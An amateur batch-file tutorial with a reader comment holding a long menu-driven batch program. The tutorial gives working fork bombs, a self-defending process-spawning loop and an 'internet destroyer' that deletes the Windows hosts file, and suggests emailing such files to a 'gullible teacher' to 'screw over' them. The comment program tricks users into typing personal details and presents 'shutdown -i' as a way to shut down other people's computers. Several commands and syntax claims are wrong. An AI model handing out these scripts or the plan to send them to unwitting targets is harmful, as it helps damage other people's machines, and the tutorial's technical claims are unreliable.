loading
I know that there are alot of batch tutorials out there, but I like batch, so I want to do my own. And I'm sorry but, I DON'T HAVE A CAMERA, so I can't give you any pictures. And also, I am not responsible for what you do with this info. And i know there is pictures, I picked random photos from google so instructables would leave me alone

Step 1: The Basics

ok, so now you want to learn batch. what is it again?
batch files are files similar t programs, while these are not programs, they do a lot that a program can do, and are the backbone of all programs. Any batch file is stored with the file extension/type .bat, you should always remember this. basic commands
start-starts a program
ex: start monkeys.bat
delete-deletes a program
ex: delete monkeys.bat
color-changes the current color of the command prompt window
ex: color 0A (changes background to black, and lettering to green)
help-displays all of the current available commands, and gives more information on a topic if you type it before the command
ex: help start (shows parameters and uses of the command start)



Step 2: Intermediates of Batch

This is where it gets good, using complicated commands in batch is not my specialty, so I like the basics.

GOTO-Goes to a certain line in the program

Ex:
:m
echo continuation
goto m

when using goto, it is important to put goto m, or the recommendation you would like to use, and the recommendation that you use has to always have that : before it.

IF- conditioning in a program

Ex:IF (start monkey.bat) delete monkey.bat

IF is very usefule to me and it should be to you if you are going into batch. IF is like this, if the person does this, then do this. I'm not sure if you have to start the program for the line to be remembered or if you just execute the line secretly and then it's executed. I know that if you have a large first line of syntax that it's good to put a parenthesis around it. I use this alot!!!

Step 3: Variables and Advanced Batch

variables are only used from me if you have a big program, in the long run it'll save you a lot of time, but only in the long run. variables are set by the command set for example
SET 1=start monkey.bat

for every 1 it'll run the line, that line will be useful in a second.

a fork bomb

sorry for the other instructable people that already have written this down, but i've thought up a better one. There was a good fork bomb, and a bad one. The one i'm going to use is improved in size and in syntax, it is the revised version of the bad fork bomb. the good one looked like this:

:m
m
start cmd.exe
goto m

this is the bad one

:m
start
start
start
goto m

these aren't exact, butthey pretty close

the good one had good syntax but it doesn't make a computer crash, just get tired. The bad one was just a knock off of the good one. Here's my version:

:m
start monkey.bat
start monkey.bat
start monkey.bat
start monkey.bat
goto m

save as: monkey.bat . Well, I'm not responsible for what you do with this, it's similar to blue screen, so create as your own risk.

Step 4: The Backup

The backup is what i use for when I know someone will destroy my batch file

IF (DELETE monkey.bat) goto m
IF (ERASE monkey.bat) goto m
echo don't delete me, or else
pause
exit
:m
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
goto m

there's a part of this that I won't put in because it's brutal

And some computers enable erase, but not delete, so you should put both. And also remember, write this at your own risk.

Step 5: Conclusion and Views

well, i hope you use these skills only for good as i do

and here are some of my views:
on mutant's shutdown your school!

I find this instructable alright, but the ITs have probably already have figured it out. And you don't have to do the 1st step, it kind of gives away your cover, duh. And i think he got from somewhere else, how can a 14 year old be so experienced in batch? Especially his use of cross programs, that is interesting. and i think it would be good if he explained the virus replicator a little more.

how I would send a batch file

You need to have an email account(gmail is free, but doesn't allow executable file exchange), and then you need to send it as a file attachment. if you plan to screw over your teacher or something, they'll probably see through it, especially if they are the computer teacher. give it to a gullible teacher

Step 6: Reference

what is a reference (in computing)?

a reference is when i give you a lead or somebody else gives you a lead. for example on the news you saw hacking on cameras, so you looked at their website to find out how to do it.
Here's some:
http://www.symantec.com/business/security_response/threatexplorer/threats.jsp
www.I-Hacked.com (sometimes you have to search in google for it)

I'll find some later but that's all i got

Step 7: Extra Add Ons (matrix)

i added this after i figured that there were alot of batch instructables, so i should add more to put it to the top

Matrix is just repeated numbers

Enter this code:

@echo off
color 0a
:top
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto top

this isn't exactly like the matrix (i mean the wierd letterings) but it's good to go

Step 8: Add On2

internet destroyer

apparently this code when sended to a friend will destroy their internet or something

open up notepad and type

@echo off
cd WINDOWS\SYSTEM32\DRIVERS\ETC
attrib hosts -r -h
del hosts

save as whatever.bat and in whatever as in type whatever you want.

i call it the agent lol

Step 9: Star Wars

this one's called start wars just type in the following and it'll play a short movie on star wars:
Telnet Towel.blinkenlights.nl
type it exactly as it is
<p>I made this little computer slave that does things for you:</p><p>@echo off</p><p>mode 1000</p><p>color 9f</p><p>echo -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</p><p>echo Joe, The Virtual Slave</p><p>echo.</p><p>echo -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</p><p>echo Made By Karsen Seel.</p><p>echo.</p><p>echo.</p><p>echo ------------</p><p>echo INSTRUCTIONS</p><p>ECHO ------------</p><p>echo.</p><p>set /p n=Please type in &quot;joe123&quot; to Access Intro:</p><p>If %n% == joe123 goto intro</p><p>If %n% == 99 goto commands</p><p>If %n% == zxcvbn12 goto commands</p><p>If not %n% == zxcvbn12 goto again2</p><p>If not %n% == joe123 goto again</p><p>:again</p><p>cls</p><p>color 7</p><p>echo ERROR!</p><p>echo ------</p><p>echo ------</p><p>set /p n=Please try again:</p><p>If %n% == joe123 goto intro</p><p>If not %n% == joe123 goto exit</p><p>:exit</p><p>cls</p><p>color 74</p><p>echo -----------</p><p>echo WRONG CODE!</p><p>echo -----------</p><p>echo Please leave by pressing any key...</p><p>pause &gt;nul</p><p>exit</p><p>:intro</p><p>cls</p><p>color 9f</p><p>echo Welcome to the Intro!</p><p>echo ---------------------</p><p>echo Press any Key to Continue....</p><p>pause &gt;nul</p><p>:intro2</p><p>cls</p><p>echo There is only one thing you need to know...</p><p>echo.</p><p>timeout 2 &gt;nul</p><p>echo If you see a flashing blank dot like the one below...</p><p>echo.</p><p>timeout 4 &gt;nul</p><p>echo press any key of your choice to continue the text/program...</p><p>echo -----------------------------------------------------------</p><p>timeout 4 &gt;nul</p><p>echo Here's a test for you to see if you were paying attention...</p><p>timeout 5 &gt;nul</p><p>cls</p><p>pause &gt;nul</p><p>echo -----------------------------------------------------------</p><p>echo Good Job! You're not as stupid as I thought</p><p>echo.</p><p>timeout 3 &gt;nul</p><p>echo There will be times where the code has to prossess to continue..</p><p>timeout 4 &gt;nul</p><p>echo.</p><p>echo So do not be too quick on the draw on pressing any key..give it atleast 5 solid seconds before pressing anything...</p><p>timeout 8 &gt;nul</p><p>cls</p><p>echo Now continue like this for the rest of the Program.</p><p>echo ----------</p><p>echo GOOD LUCK!</p><p>echo ----------</p><p>pause &gt;nul</p><p>cls</p><p>color a</p><p>echo ----------------</p><p>echo CONTINUE TO JOE:</p><p>echo ----------------</p><p>pause &gt;nul</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>cls</p><p>color 9f</p><p>echo DO NOT PRESS ANY KEYS!</p><p>timeout 4 &gt;nul</p><p>cls</p><p>echo Loading Joe's Brain...</p><p>timeout 3 &gt;nul</p><p>color a</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>cls</p><p>color 9f</p><p>echo Loading Joe's Heart...</p><p>timeout 3 &gt;nul</p><p>color a</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>cls</p><p>color 9f</p><p>echo Loading Joe's left Nose hole...</p><p>timeout 4 &gt;nultree</p><p>color a</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>cls</p><p>color f4</p><p>echo ----------------------------------</p><p>echo WELCOME! to Joe, the virtual slave</p><p>echo ----------------------------------</p><p>pause &gt;nul</p><p>cls</p><p>echo You will need a Key to continue into Joe's Network</p><p>pause &gt;nul</p><p>cls</p><p>echo Don't forget it....</p><p>pause &gt;nul</p><p>cls</p><p>echo zxcvbn12</p><p>timeout 7 &gt;nul</p><p>cls</p><p>set /p n=Code:</p><p>If %n% == zxcvbn12 goto network</p><p>If not %n% == zxcvbn12 goto again2</p><p>:network</p><p>cls</p><p>color a</p><p>echo -------</p><p>echo NETWORK</p><p>echo -------</p><p>echo Welcome to my network....</p><p>echo &gt;nul</p><p>echo Here you will choose what you'd like to do with me, Joe.</p><p>echo ---------------------------------------------------</p><p>pause &gt;nul</p><p>:commands</p><p>color a</p><p>cls</p><p>echo --------</p><p>echo COMMANDS</p><p>echo --------</p><p>echo Open a Website (1)</p><p>echo Talk with Ned (2)</p><p>echo Spy Tools (3)</p><p>echo Play Games (4)</p><p>echo Top Secret (5)</p><p>echo ------------- (6)</p><p>echo ------------- (7)</p><p>echo ---------------------------------</p><p>echo ---------------------------------</p><p>set /p n=Which Command would you like?</p><p>If %n% == 1 goto website</p><p>If %n% == 2 goto ned</p><p>If %n% == 3 goto spy</p><p>If %n% == 4 goto games</p><p>If %n% == 5 goto secret</p><p>If %n% == 6</p><p>If %n% == 7</p><p>:secret</p><p>cls</p><p>color f4</p><p>echo Welcome to Joe's Top Secret Network</p><p>echo -----------------------------------</p><p>timeout 3 &gt;nul</p><p>echo.</p><p>echo You will have to Answer some important questions to continue...</p><p>timeout 4 &gt;nul</p><p>echo.</p><p>echo After that, you will have to create an account that only you may access after...</p><p>timeout 5 &gt;nul</p><p>echo.</p><p>echo DO NOT SHARE YOUR ACCOUNT INFO!</p><p>echo -------------------------------</p><p>echo THIS IS TOP SECRET STUFF!</p><p>echo -------------------------------</p><p>set /p cs=Continue:</p><p>If %cs% == yes goto cs</p><p>If %cs% == no goto nocs</p><p>:nocs</p><p>cls</p><p>echo Okay, have fun not knowing the secret</p><p>timeout 3 &gt;nul</p><p>cls</p><p>echo BYE!</p><p>timeout 1 &gt;nul</p><p>goto commands</p><p>:cs</p><p>cls</p><p>echo okay...</p><p>timeout 1 &gt;nul</p><p>cls</p><p>echo I will be asking you some questions for security...</p><p>timeout 4 &gt;nul</p><p>cls</p><p>set /p name=what's your name?:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>set /p last=What's your last name?:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>set /p country=What country do you live in?:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>set /p town=What town do you live in?:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>set /p age2=How old are you?:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>echo Loading Information into Network DataBase...</p><p>echo -----------------------------------------</p><p>timeout 3 &gt;nul</p><p>color a</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color f4</p><p>echo HAHAHAHAHAHAHAHAHA!</p><p>timeout 2 &gt;nul</p><p>cls</p><p>echo It's all a lie!</p><p>timeout 1 &gt;nul</p><p>echo.</p><p>echo THERE IS NO SECRET!</p><p>timeout 2 &gt;nul</p><p>echo.</p><p>echo I JUST STOLE YOUR INFORMATION! THAT'S ALL!</p><p>timeout 4 &gt;nul</p><p>cls</p><p>color a</p><p>echo -------------------------------------------------------------------------------------------------</p><p>echo.</p><p>echo NAME: %name% %last% /// LIVES IN: %town%, %country% /// AGE: %age2% years old ///</p><p>echo.</p><p>echo -------------------------------------------------------------------------------------------------</p><p>pause &gt;nul</p><p>cls</p><p>color f4</p><p>echo Now Don't make me mad...</p><p>timeout 3 &gt;nul</p><p>cls</p><p>echo OR ELSE!</p><p>timeout 2 &gt;nul</p><p>cls</p><p>timeout 1 &gt;nul</p><p>goto commands</p><p>:website</p><p>cls</p><p>color f4</p><p>echo CHOOSE A WEBSITE</p><p>echo ----------------</p><p>echo Google (a)</p><p>echo Facebook (b)</p><p>echo Netflix (c)</p><p>echo Youtube (d)</p><p>echo Wikipedia (e)</p><p>echo ---------------------</p><p>echo Google Search (q)</p><p>echo ---------------------</p><p>echo Website Test (w)</p><p>echo ---------------------</p><p>echo Back to Commands Page (x)</p><p>echo --------------------------------------</p><p>set /p n=Which Website would you like?</p><p>If %n% == a goto ggl</p><p>If %n% == b goto fb</p><p>If %n% == c goto nflx</p><p>If %n% == d goto utb</p><p>If %n% == e goto wiki</p><p>If %n% == x goto commands</p><p>If %n% == q goto search</p><p>If %n% == w goto sites</p><p>:sites</p><p>color f4</p><p>cls</p><p>color f4</p><p>echo Here you will type in any word and see if it's a website or not...</p><p>timeout 6 &gt;nul</p><p>cls</p><p>echo Loading Website code...</p><p>timeout 3 &gt;nul</p><p>cls</p><p>color a</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>timeout 1 &gt;nul</p><p>:end</p><p>cls</p><p>color f4</p><p>echo .com (com)</p><p>echo .net (net)</p><p>echo .org (org)</p><p>echo .ca (ca)</p><p>echo .us (us)</p><p>echo .eu (eu)</p><p>echo ----------------------------</p><p>echo Go back to Websites Page? (wx)</p><p>echo.</p><p>set /p end=Choose an ending:</p><p>If %end% == com goto com</p><p>If %end% == net goto net</p><p>If %end% == org goto org</p><p>If %end% == ca goto ca</p><p>If %end% == us goto us</p><p>If %end% == eu goto eu</p><p>If %end% == wx goto website</p><p>:com</p><p>cls</p><p>set /p site=Choose a URL:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color a</p><p>echo Loading <a href="http://www.%25site%25.%25end%25.../" rel="nofollow">www.%site%.%end%...</a></p><p>timeout 2 &gt;nul</p><p>start <a href="http://www.%25site%25.%25end%25/" rel="nofollow">www.%site%.%end%</a></p><p>timeout 5 &gt;nul</p><p>cls</p><p>set /p back=Choose another URL?</p><p>If %back% == yes goto com</p><p>If %back% == no goto end</p><p>:net</p><p>cls</p><p>set /p site=Choose a URL:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color a</p><p>echo Loading <a href="http://www.%25site%25.%25end%25.../" rel="nofollow">www.%site%.%end%...</a></p><p>timeout 2 &gt;nul</p><p>start <a href="http://www.%25site%25.%25end%25/" rel="nofollow">www.%site%.%end%</a></p><p>timeout 5 &gt;nul</p><p>cls</p><p>set /p back=Choose another URL?</p><p>If %back% == yes goto net</p><p>If %back% == no goto end</p><p>:org</p><p>cls</p><p>set /p site=Choose a URL:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color a</p><p>echo Loading <a href="http://www.%25site%25.%25end%25.../" rel="nofollow">www.%site%.%end%...</a></p><p>timeout 2 &gt;nul</p><p>start <a href="http://www.%25site%25.%25end%25/" rel="nofollow">www.%site%.%end%</a></p><p>timeout 5 &gt;nul</p><p>cls</p><p>set /p back=Choose another URL?</p><p>If %back% == yes goto org</p><p>If %back% == no goto end</p><p>:ca</p><p>cls</p><p>set /p site=Choose a URL:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color a</p><p>echo Loading <a href="http://www.%25site%25.%25end%25.../" rel="nofollow">www.%site%.%end%...</a></p><p>timeout 2 &gt;nul</p><p>start <a href="http://www.%25site%25.%25end%25/" rel="nofollow">www.%site%.%end%</a></p><p>timeout 5 &gt;nul</p><p>cls</p><p>set /p back=Choose another URL?</p><p>If %back% == yes goto ca</p><p>If %back% == no goto end</p><p>:us</p><p>cls</p><p>set /p site=Choose a URL:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color a</p><p>echo Loading <a href="http://www.%25site%25.%25end%25.../" rel="nofollow">www.%site%.%end%...</a></p><p>timeout 2 &gt;nul</p><p>start <a href="http://www.%25site%25.%25end%25/" rel="nofollow">www.%site%.%end%</a></p><p>timeout 5 &gt;nul</p><p>cls</p><p>set /p back=Choose another URL?</p><p>If %back% == yes goto us</p><p>If %back% == no goto end</p><p>:eu</p><p>cls</p><p>set /p site=Choose a URL:</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color a</p><p>echo Loading <a href="http://www.%25site%25.%25end%25.../" rel="nofollow">www.%site%.%end%...</a></p><p>timeout 2 &gt;nul</p><p>start <a href="http://www.%25site%25.%25end%25/" rel="nofollow">www.%site%.%end%</a></p><p>timeout 5 &gt;nul</p><p>cls</p><p>set /p back=Choose another URL?</p><p>If %back% == yes goto eu</p><p>If %back% == no goto end</p><p>:search</p><p>cls</p><p>color f4</p><p>echo GOOGLE SEARCH</p><p>echo -------------</p><p>echo.</p><p>set /p srch=Search:</p><p>If %srch%==%srch% goto search2</p><p>:search2</p><p>cls</p><p>echo Searching for %srch%...</p><p>timeout 2 &gt;nul</p><p>start <a href="http://www.google.com/search?q=%srch%" rel="nofollow">http://www.google.com/search?q=%srch%</a></p><p>timeout 5 &gt;nul</p><p>goto search3</p><p>:search3</p><p>cls</p><p>echo Search again?</p><p>set /p searching=</p><p>If %searching% == yes goto search</p><p>If %searching% == no goto website</p><p>:ggl</p><p>cls</p><p>start <a href="https://www.google.ca/" rel="nofollow">https://www.google.ca/</a></p><p>echo LOADING <a href="http://www.google.com..../" rel="nofollow">www.google.com....</a></p><p>timeout 5 &gt;nul</p><p>goto commands</p><p>:fb</p><p>cls</p><p>start <a href="https://www.facebook.com/?_rdr" rel="nofollow">https://www.facebook.com/?_rdr</a></p><p>echo LOADING <a href="https://www.facebook.com.../" rel="nofollow">www.facebook.com...</a></p><p>timeout 5 &gt;nul</p><p>goto commands</p><p>:nflx</p><p>cls</p><p>start <a href="https://www.netflix.com/ca/" rel="nofollow">https://www.netflix.com/ca/</a></p><p>echo LOADING <a href="http://www.netflix.com/" rel="nofollow">www.netflix.com</a></p><p>timeout 5 &gt;nul</p><p>goto commands</p><p>:utb</p><p>cls</p><p>start <a href="https://www.youtube.com/" rel="nofollow">https://www.youtube.com/</a></p><p>echo LOADING <a href="http://www.youtube.com.../" rel="nofollow">www.youtube.com...</a></p><p>timeout 5 &gt;nul</p><p>goto commands</p><p>:wiki</p><p>start <a href="http://www.wikipedia.org/" rel="nofollow">http://www.wikipedia.org/</a></p><p>echo LOADING <a href="http://www.wikipedia.org.../" rel="nofollow">www.wikipedia.org...</a></p><p>timeout 5 &gt;nul</p><p>goto commands</p><p>:again2</p><p>cls</p><p>color 7</p><p>echo ERROR!</p><p>echo ------</p><p>echo ------</p><p>set /p n=Please try again:</p><p>If %n% == zxcvbn12 goto network</p><p>If not %n% == zxcvbn12 goto exit</p><p>:ned</p><p>cls</p><p>color f4</p><p>echo Hi! My name's Ned, what's yours?</p><p>set /p name=</p><p>timeout 1 &gt;nul</p><p>cls</p><p>echo Welcome %name%!</p><p>echo How old are you?</p><p>set /p age=</p><p>timeout 1 &gt;nul</p><p>cls</p><p>echo Oh cool! I wish I was %age%!</p><p>timeout 2 &gt;nul</p><p>echo I'm only 5 years old...</p><p>timeout 3 &gt;nul</p><p>cls</p><p>echo What's your favourite colour %name%?</p><p>set /p color=</p><p>If %color% == blue goto ned1</p><p>If %color% == red goto ned2</p><p>If %color% == yellow goto ned3</p><p>If %color% == green goto ned4</p><p>If %color% == purple goto ned5</p><p>If %color% == black goto ned6</p><p>If %color% == white goto ned7</p><p>:ned1</p><p>cls</p><p>color 71</p><p>echo Oh cool! MINE TOO!</p><p>timeout 3 &gt;nul</p><p>goto nedx</p><p>:ned2</p><p>cls</p><p>color 74</p><p>echo Oh cool! MINE TOO!</p><p>timeout 3 &gt;nul</p><p>goto nedx</p><p>:ned3</p><p>cls</p><p>color 6</p><p>echo Oh cool! MINE TOO!</p><p>timeout 3 &gt;nul</p><p>goto nedx</p><p>:ned4</p><p>cls</p><p>color 2</p><p>echo Oh cool! MINE TOO!</p><p>timeout 3 &gt;nul</p><p>goto nedx</p><p>:ned5</p><p>cls</p><p>color 5</p><p>echo Oh cool! MINE TOO!</p><p>timeout 3 &gt;nul</p><p>goto nedx</p><p>:ned6</p><p>cls</p><p>color 70</p><p>echo Oh cool! MINE TOO!</p><p>timeout 3 &gt;nul</p><p>goto nedx</p><p>:ned7</p><p>cls</p><p>color 7</p><p>echo Oh cool! MINE TOO!</p><p>timeout 3 &gt;nul</p><p>goto nedx</p><p>:nedx</p><p>cls</p><p>color f4</p><p>echo What do you want to talk about now?</p><p>set /p thing=</p><p>timeout 1 &gt;nul</p><p>echo Oh! I've never heard of a %thing%?</p><p>timeout 2 &gt;nul</p><p>echo.</p><p>echo Does it live with you?</p><p>set /p thing1x=</p><p>If %thing1x% == yes goto thingyes</p><p>If %thing1x% == no goto thingno</p><p>:thingyes</p><p>cls</p><p>echo WOW I wish I had one living with me...</p><p>timeout 3 &gt;nul</p><p>goto nednext</p><p>:thingno</p><p>cls</p><p>echo Oh okay, sorry I just don't know what it is...</p><p>timeout 4 &gt;nul</p><p>goto nednext</p><p>:nednext</p><p>cls</p><p>echo I have an Idea!</p><p>timeout 2 &gt;nul</p><p>echo.</p><p>echo Let's play a question game!</p><p>timeout 2 &gt;nul</p><p>echo.</p><p>echo Do you want to play?</p><p>set /p play=</p><p>If %play% == yes goto play</p><p>If %play% == no goto noplay</p><p>:noplay</p><p>cls</p><p>echo Oh that's okay</p><p>timeout 2 &gt;nul</p><p>goto sleep</p><p>:play</p><p>cls</p><p>echo I'm so happy you said yes! I love playing games!</p><p>timeout 4 &gt;nul</p><p>echo.</p><p>echo Okay! you choose a thing for me to guess first...</p><p>echo timeout 4 &gt;nul</p><p>cls</p><p>color a</p><p>set /p word=Choose a thing that Ned can guess:</p><p>cls</p><p>color f4</p><p>timeout 1 &gt;nul</p><p>echo okay...</p><p>timeout 1 &gt;nul</p><p>echo.</p><p>echo Is it big?</p><p>set /p big=</p><p>echo.</p><p>echo Is it an animal?</p><p>set /p animal=</p><p>echo.</p><p>echo Do you own one?</p><p>set /p own=</p><p>echo.</p><p>echo Oh! I know!</p><p>timeout 1 &gt;nul</p><p>echo.</p><p>cls</p><p>echo Is it a %word%?</p><p>set /p wordguess=</p><p>If %wordguess% == yes goto wgy</p><p>If %wordguess% == no goto wgn</p><p>:wgy</p><p>cls</p><p>echo Yes! I'm so good at this game!</p><p>timeout 3 &gt;nul</p><p>goto sleep</p><p>:wgn</p><p>cls</p><p>echo I think you're lying to me...</p><p>timeout 3 &gt;nul</p><p>echo.</p><p>echo But it's okay, I forgive you...</p><p>timeout 3 &gt;nul</p><p>goto sleep</p><p>:sleep</p><p>cls</p><p>color f4</p><p>echo Is it okay if I sleep right now %name%?</p><p>timeout 2 &gt;nul</p><p>echo I'm getting kind of tired...</p><p>set /p x=</p><p>If %x%==yes goto nedx2</p><p>If %x%==no goto nedx3</p><p>:nedx2</p><p>cls</p><p>echo Thank you!</p><p>timeout 2 &gt;nul</p><p>echo Tell Joe I said Hi!</p><p>timeout 3 &gt;nul</p><p>cls</p><p>echo BYE BYE!</p><p>timeout 2 &gt;nul</p><p>goto commands</p><p>:nedx3</p><p>cls</p><p>echo Well I'm sorry but I'm too tired..</p><p>timeout 3 &gt;nul</p><p>cls</p><p>echo BYE!</p><p>timeout 2 &gt;nul</p><p>goto commands</p><p>:spy</p><p>cls</p><p>color f4</p><p>echo -----------------</p><p>echo CHOOSE A SPY TOOL</p><p>echo -----------------</p><p>echo -----------------</p><p>echo Shutdown other people's computers DO THAT HERE: (h1)</p><p>echo ---------------------------------------------------</p><p>echo Is someone using my Wifi? FIND OUT HERE: (h2)</p><p>echo ---------------------------------------------------</p><p>echo Go back to Commands list... PRESS: (x)</p><p>echo ---------------------------------------------------</p><p>set /p hack=</p><p>If %hack% == h1 goto h2</p><p>If %hack% == h2 goto h1</p><p>If %hack% == x goto commands</p><p>:h1</p><p>cls</p><p>color a</p><p>echo If you see an unknown Ip address that says &quot;established&quot; someone is stealing your wifi...</p><p>echo -------</p><p>pause &gt;nul</p><p>cls</p><p>echo ---------------</p><p>echo LOADING DATA...</p><p>echo ---------------</p><p>timeout 3 &gt;nul</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color 2</p><p>netstat -a</p><p>echo ---------------------------------------------------------------</p><p>echo Hit any key to go back...</p><p>pause &gt;nul</p><p>goto spy</p><p>:h2</p><p>cls</p><p>color a</p><p>echo Just follw the pre-set intstructions when the white box pops up...</p><p>pause &gt;nul</p><p>cls</p><p>echo LOADING SHUTDOWN CODES...</p><p>timeout 2 &gt;nul</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>cls</p><p>shutdown -i</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color 2</p><p>set /p cmd= Go back to Spy Tool list? PRESS (s)</p><p>If %cmd% == s goto spy</p><p>:games</p><p>cls</p><p>color a</p><p>echo SELECT A GAME:</p><p>echo --------------</p><p>echo.</p><p>echo Trivia Game (a)</p><p>echo ----------- (b)</p><p>echo ----------- (c)</p><p>echo ---------------------------</p><p>echo Go back to Commands List (x)</p><p>set /p game=</p><p>If %game% == a goto g1</p><p>If %game% == b goto</p><p>If %game% == c goto</p><p>If %game% == x goto commands</p><p>:g1</p><p>cls</p><p>color f4</p><p>echo ------------------</p><p>echo JOE'S TRIVIA GAME!</p><p>echo ------------------</p><p>echo.</p><p>echo.</p><p>echo start playing? (1)</p><p>echo ------------------</p><p>echo Exit the Game? (2)</p><p>echo ------------------</p><p>set /p start=</p><p>If %start% == 1 goto sg</p><p>If %start% == 2 goto games</p><p>:sg</p><p>cls</p><p>color a</p><p>echo LOADING THE QUESTIONS...</p><p>timeout 3 &gt;nul</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>tree</p><p>timeout 1 &gt;nul</p><p>cls</p><p>color 70</p><p>echo Question 1.</p><p>echo -----------</p><p>echo.</p><p>echo Who has won more Oscars than anybody else?</p><p>echo.</p><p>echo a) Walt Disney</p><p>echo b) Johnny Depp</p><p>echo c) Will Smith</p><p>echo d) Tom Hanks</p><p>echo ----------------</p><p>set /p actor=</p><p>If %actor% == a goto q1</p><p>If %actor% == b goto no1</p><p>If %actor% == c goto no1</p><p>If %actor% == d goto no1</p><p>:q1</p><p>cls</p><p>echo CORRECT! + 10 points</p><p>timeout 3 &gt;nul</p><p>goto question</p><p>:no1</p><p>cls</p><p>echo WRONG ANSWER! +0 points</p><p>timeout 3 &gt;nul</p><p>goto question1</p><p>:question</p><p>cls</p><p>echo Question 2. Your Points: 10</p><p>echo -----------</p><p>echo.</p><p>echo What is the world's most widely spoken native tongue language?</p><p>echo.</p><p>echo a) English</p><p>echo b) German</p><p>echo c) Mandarin</p><p>echo d) japenese</p><p>echo ----------------</p><p>set /p lang=</p><p>If %lang% == a goto no2</p><p>If %lang% == b goto no2</p><p>If %lang% == c goto q2</p><p>If %lang% == d goto no2</p><p>:question1</p><p>cls</p><p>echo Question 2. Your Points: 0</p><p>echo -----------</p><p>echo.</p><p>echo What is the world's most widely spoken native tongue language?</p><p>echo.</p><p>echo a) English</p><p>echo b) German</p><p>echo c) Mandarin</p><p>echo d) japenese</p><p>echo ----------------</p><p>set /p lang=</p><p>If %lang% == a goto no3</p><p>If %lang% == b goto no3</p><p>If %lang% == c goto q3</p><p>If %lang% == d goto no3</p><p>:q2</p><p>cls</p><p>echo CORRECT! + 10 points</p><p>timeout 3 &gt;nul</p><p>goto question2</p><p>:q3</p><p>cls</p><p>echo CORRECT! + 10 points</p><p>timeout 3 &gt;nul</p><p>goto question20</p><p>:no2</p><p>cls</p><p>echo WRONG ANSWER! +0 points</p><p>timeout 3 &gt;nul</p><p>goto question200</p><p>:no3</p><p>cls</p><p>echo WRONG ANSWER! +0 points</p><p>timeout 3 &gt;nul</p><p>goto question2000</p><p>:q3</p><p>cls</p><p>echo CORRECT! + 10 points</p><p>timeout 3 &gt;nul</p><p>goto question20</p><p>:question2</p><p>cls</p><p>echo Question 3. Your Points: 20</p><p>echo -----------</p><p>echo.</p><p>echo Which American city is considered the home of Jazz?</p><p>echo.</p><p>echo a) New Orleans</p><p>echo b) New York</p><p>echo c) Boston</p><p>echo d) Dixie</p><p>echo -----------------</p><p>set /p jazz=</p><p>If %jazz% == a goto q4</p><p>If %jazz% == b goto no3</p><p>If %jazz% == c goto no3</p><p>If %jazz% == d goto no3</p><p>:question20</p><p>cls</p><p>echo Question 3. Your Points: 10</p><p>echo -----------</p><p>echo.</p><p>echo Which American city is considered the home of Jazz?</p><p>echo.</p><p>echo a) New Orleans</p><p>echo b) New York</p><p>echo c) Boston</p><p>echo d) Dixie</p><p>echo -----------------</p><p>set /p 